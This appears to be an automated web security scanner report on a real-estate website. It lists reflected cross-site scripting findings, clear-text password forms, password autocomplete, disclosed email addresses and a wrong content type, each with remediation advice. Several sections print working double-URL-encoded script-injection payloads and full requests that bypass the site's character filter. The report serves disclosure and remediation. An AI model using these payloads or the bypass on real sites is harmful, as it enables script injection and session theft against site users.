Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2fbf0%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6a7fef5a0a4 was submitted in the REST URL parameter 2. This input was echoed as 2fbf0"><script>alert(1)</script>6a7fef5a0a4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /real-estate/property-search2fbf0%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6a7fef5a0a4 HTTP/1.1 Host: www.newenglandmoves.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: _sid=b720a5b9e00f38f151dd99e693e2aac2; __utmz=63899184.1294253524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=63899184.1764409909.1294253524.1294253524.1294253524.1; __utmc=63899184; __utmb=63899184.1.10.1294253524;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head> <meta http-equiv="cont ...[SNIP]... <meta content="NewEnglandMoves.com can help you find Property Search2fbf0"><script>alert(1)</script>6a7fef5a0a4 homes for sale, Property Search2fbf0"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 1977d%253cscript%253ealert%25281%2529%253c%252fscript%253e3fe837d9379 was submitted in the REST URL parameter 2. This input was echoed as 1977d<script>alert(1)</script>3fe837d9379 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /real-estate/property-search1977d%253cscript%253ealert%25281%2529%253c%252fscript%253e3fe837d9379 HTTP/1.1 Host: www.newenglandmoves.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: _sid=b720a5b9e00f38f151dd99e693e2aac2; __utmz=63899184.1294253524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=63899184.1764409909.1294253524.1294253524.1294253524.1; __utmc=63899184; __utmb=63899184.1.10.1294253524;
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 719c8%253cscript%253ealert%25281%2529%253c%252fscript%253e82bb3cf3c54 was submitted in the REST URL parameter 2. This input was echoed as 719c8<script>alert(1)</script>82bb3cf3c54 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /real-estate/recent-sales-search719c8%253cscript%253ealert%25281%2529%253c%252fscript%253e82bb3cf3c54 HTTP/1.1 Host: www.newenglandmoves.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: _sid=b720a5b9e00f38f151dd99e693e2aac2; __utmz=63899184.1294253524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=63899184.1764409909.1294253524.1294253524.1294253524.1; __utmc=63899184; __utmb=63899184.1.10.1294253524;
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 794b5%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1e1b1be9e81 was submitted in the REST URL parameter 2. This input was echoed as 794b5"><script>alert(1)</script>1e1b1be9e81 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /real-estate/recent-sales-search794b5%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1e1b1be9e81 HTTP/1.1 Host: www.newenglandmoves.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: _sid=b720a5b9e00f38f151dd99e693e2aac2; __utmz=63899184.1294253524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=63899184.1764409909.1294253524.1294253524.1294253524.1; __utmc=63899184; __utmb=63899184.1.10.1294253524;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head> <meta http-equiv="cont ...[SNIP]... <meta content="NewEnglandMoves.com can help you find Recent Sales Search794b5"><script>alert(1)</script>1e1b1be9e81 homes for sale, Recent Sales Search794b5"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 19775%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef09e84b144 was submitted in the REST URL parameter 2. This input was echoed as 19775"><script>alert(1)</script>f09e84b144 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /real-estate/sales-associates19775%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef09e84b144 HTTP/1.1 Host: www.newenglandmoves.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: _sid=b720a5b9e00f38f151dd99e693e2aac2; __utmz=63899184.1294253524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=63899184.1764409909.1294253524.1294253524.1294253524.1; __utmc=63899184; __utmb=63899184.1.10.1294253524;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head> <meta http-equiv="cont ...[SNIP]... <meta content="NewEnglandMoves.com can help you find Sales Associates19775"><script>alert(1)</script>f09e84b144 homes for sale, Sales Associates19775"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 4b554%253cscript%253ealert%25281%2529%253c%252fscript%253e00cbec42844 was submitted in the REST URL parameter 2. This input was echoed as 4b554<script>alert(1)</script>00cbec42844 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /real-estate/sales-associates4b554%253cscript%253ealert%25281%2529%253c%252fscript%253e00cbec42844 HTTP/1.1 Host: www.newenglandmoves.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: _sid=b720a5b9e00f38f151dd99e693e2aac2; __utmz=63899184.1294253524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=63899184.1764409909.1294253524.1294253524.1294253524.1; __utmc=63899184; __utmb=63899184.1.10.1294253524;
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.newenglandmoves.com/accounts/login
The form contains the following password field:
account_session[password]
Request
GET /accounts/login HTTP/1.1 Host: www.newenglandmoves.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: _sid=b720a5b9e00f38f151dd99e693e2aac2; __utmz=63899184.1294253524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=63899184.1764409909.1294253524.1294253524.1294253524.1; __utmc=63899184; __utmb=63899184.1.10.1294253524;
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.newenglandmoves.com/accounts/register
The form contains the following password fields:
account[password]
account[password_confirmation]
Request
GET /accounts/register HTTP/1.1 Host: www.newenglandmoves.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: _sid=b720a5b9e00f38f151dd99e693e2aac2; __utmz=63899184.1294253524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=63899184.1764409909.1294253524.1294253524.1294253524.1; __utmc=63899184; __utmb=63899184.1.10.1294253524;
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
The page contains a form with the following action URL:
http://www.newenglandmoves.com/accounts/login
The form contains the following password field with autocomplete enabled:
account_session[password]
Request
GET /accounts/login HTTP/1.1 Host: www.newenglandmoves.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: _sid=b720a5b9e00f38f151dd99e693e2aac2; __utmz=63899184.1294253524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=63899184.1764409909.1294253524.1294253524.1294253524.1; __utmc=63899184; __utmb=63899184.1.10.1294253524;
The page contains a form with the following action URL:
http://www.newenglandmoves.com/accounts/register
The form contains the following password fields with autocomplete enabled:
account[password]
account[password_confirmation]
Request
GET /accounts/register HTTP/1.1 Host: www.newenglandmoves.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: _sid=b720a5b9e00f38f151dd99e693e2aac2; __utmz=63899184.1294253524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=63899184.1764409909.1294253524.1294253524.1294253524.1; __utmc=63899184; __utmb=63899184.1.10.1294253524;
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
The following email address was disclosed in the response:
cbrblicensingschool@nemoves.com
Request
GET /careers/real-estate-license-courses HTTP/1.1 Host: www.newenglandmoves.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: _sid=b720a5b9e00f38f151dd99e693e2aac2; __utmz=63899184.1294253524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=63899184.1764409909.1294253524.1294253524.1294253524.1; __utmc=63899184; __utmb=63899184.1.10.1294253524;
The following email address was disclosed in the response:
Careers@NewEnglandMoves.com
Request
GET /contact_us/email_us HTTP/1.1 Host: www.newenglandmoves.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: _sid=b720a5b9e00f38f151dd99e693e2aac2; __utmz=63899184.1294253524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=63899184.1764409909.1294253524.1294253524.1294253524.1; __utmc=63899184; __utmb=63899184.1.10.1294253524;
The response contains the following Content-type statement:
Content-Type: text/javascript; charset=utf-8
The response states that it contains script. However, it actually appears to contain plain text.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
Request
GET /locations.js HTTP/1.1 Host: www.newenglandmoves.com Proxy-Connection: keep-alive Referer: http://www.newenglandmoves.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: _sid=b720a5b9e00f38f151dd99e693e2aac2